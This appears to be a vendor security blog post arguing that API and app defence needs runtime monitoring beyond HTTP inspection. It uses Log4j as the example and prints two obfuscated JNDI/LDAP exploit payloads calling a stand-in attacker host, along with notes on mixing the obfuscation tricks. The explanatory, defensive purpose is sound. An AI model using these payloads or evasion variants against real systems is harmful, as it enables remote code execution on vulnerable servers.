Why Visibility Beyond HTTP Is Key to Securing APIs and Apps

The acceleration of digital transformation initiatives and subsequent rise in API, containerization, and multi-cloud deployments is creating a dynamic attack surface that grows increasingly complex and difficult to defend.  

Today’s Attack Surface

For example, APIs not only extend the attack surface, but also provide information that is useful to an attacker. Public-based APIs are designed to expose application logic and (potentially sensitive) data to other systems and users. Attackers can exploit this legitimate application functionality to obtain unauthorized information simply by imitating an actual user.  

Along with the rise of APIs comes the rise of containers. Containers abstract away differences in OS distributions and underlying infrastructure, making it easier to reliably run applications in different environments. Containers are also highly dynamic. With containers, software goes live and is modified at lightning speed. According to Sysdig, 72 percent of containers live less than five minutes. Another Sysdig study found that 63 percent of container images are replaced within two weeks or less, signifying a more frequent code deployment rate.  

Digital transformation initiatives have also given rise to multi-cloud deployments. Research reveals that 98 percent of enterprises already deploy multi-cloud architectures, with data distributed across several cloud providers. Multi-cloud deployments further expand the attack surface and make security more complex to manage. With the addition of each cloud platform, for example, maintaining API visibility to keep track of new, changed, unmanaged, or insecure APIs grows increasingly difficult.   

Securing the Modern Attack Surface

To protect applications and APIs in this environment, the security industry has responded with highly effective web application firewalls and stand-alone API observability solutions, as well as technologies that block API attacks in real time. These have proven to be valuable at protecting and providing visibility into the very edge, or “front door,” of an organization’s environment. But that can leave the back door vulnerable to runtime attacks.  

When you are only analyzing HTTP requests, you don’t always have enough visibility into the runtime environment where the applications run, or the “back door.” And that back door is a way for attackers to get in. Runtime environments face myriad risks, including insider threats, malware, web shells, remote access software, code injections and modifications, and malicious rootkits.

Lessons of Log4j 

The need for runtime API and application protection became evident for security engineers in the aftermath of the Log4j vulnerability announcement. As security engineers responded to Log4j attacks and deployed patches for attack variants in late 2021, the limitations of only observing HTTP request and response pairs became obvious. While the HTTP requests provided a lot of information, it took security engineers longer than they wanted to understand what attackers were targeting, what techniques they were using, and how they were going about it. 

For example, these two payloads are the same, but each uses different obfuscation techniques. If only looking at HTTP requests, you’d have to recognize the obfuscation to figure out what the attackers are trying to do. 

This payload: 

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://somesitehackerofhell.com/z} 

and this payload: 

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://somesitehackerofhell.com/z} 

are the same. 

The goal of the payloads is to use “jndi”, “:” and “ldap” because the vulnerability is related to a command that contained: “jndi:ldap”. In the first example, they are using “::-” with each letter to hide things. In the second example, they are using a function called “lower” to hide things. 

The Log4j vulnerability had many variations like this. Even just with the examples above, you could mix and match with {::-j}${lower:n} etc. 

However, on the runtime side, both payloads above do the same thing. So, if you are identifying and blocking at runtime, you would stop the threat immediately, no matter how much attackers try to disguise the intent.  

Based on examples like this, it becomes clear that:  

• Runtime protection is critical for stopping malware and other malicious runtime threats from impacting APIs and applications in a timely manner. 

• An application and API security solution that includes events from the application host itself, via process monitoring, would have enough information to quickly take decisive action on runtime threats.